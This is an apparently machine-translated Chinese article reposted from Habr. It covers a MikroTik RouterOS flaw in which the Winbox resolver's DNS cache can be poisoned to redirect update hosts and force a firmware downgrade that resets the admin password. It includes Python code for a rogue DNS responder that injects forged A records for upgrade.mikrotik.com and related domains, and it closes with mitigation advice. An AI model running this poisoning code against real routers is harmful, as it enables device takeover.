RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

基於 RouterOS (Mikrotik) 的遠端降級設備的能力使數十萬網路設備面臨風險。 該漏洞與 Winbox 協議的 DNS 快取中毒相關,可讓您將過時的(預設密碼重設)或修改的韌體載入到裝置上。

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

漏洞詳情

RouterOS終端機支援resolve指令進行DNS查找。

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

此請求由稱為解析器的二進位處理。 Resolver 是連接到 RouterOS 的 Winbox 協定的眾多二進位檔案之一。 在較高層面上,傳送至 Winbox 連接埠的「訊息」可以根據基於陣列的編號方案路由到 RouterOS 中的各種二進位檔案。

預設情況下,RouterOS 會停用 DNS 伺服器功能。

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

然而,即使伺服器功能被停用,路由器也會維護自己的 DNS 快取。

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

當我們使用 winbox_dns_request 例如 example.com 發出請求時,路由器將會快取結果。

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

由於我們可以指定請求應通過的 DNS 伺服器,因此輸入錯誤的位址是微不足道的。 例如,您可以從設定 DNS 伺服器實現 菲利普·克勞斯請務必使用包含 IP 位址 192.168.88.250 的 A 記錄進行回應。

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

現在,如果您使用 Winbox 搜尋 example.com,您可以看到路由器的 DNS 快取已中毒。

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

當然,中毒 example.com 並不是很有用,因為路由器實際上不會使用它。 但路由器需要存取upgrade.mikrotik.com、cloud.mikrotik.com、cloud2.mikrotik.com和download.mikrotik.com。 由於另一個錯誤,有可能一次毒死他們。

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

路由器請求一項權限,我們回傳五項權限。 路由器無法正確快取所有這些回應。

RouterOS 中的反向移植漏洞使數十萬個裝置面臨風險

顯然,如果路由器充當 DNS 伺服器,這種攻擊也很有用,因為它允許路由器的用戶端受到攻擊。

此攻擊還允許您利用更嚴重的漏洞:降級或向後移植 RouterOS 版本。 攻擊者重新建立更新伺服器的邏輯,包括更改日誌,並迫使 RouterOS 將過時(易受攻擊)版本視為當前版本。 這裡的危險在於,當版本「更新」時,管理員密碼被重設為預設值——攻擊者可以用空密碼登入系統!


儘管事實上,攻擊非常有效 作者 實現了更多向量,包括與 在韌體中嵌入後門,但這已經是一種多餘的技術,將其用於非法目的是非法的。

保護

只需停用 Winbox 即可保護自己免受這些攻擊。 儘管透過 Winbox 進行管理很方便,但最好使用 SSH 協定。

來源: www.habr.com

添加評論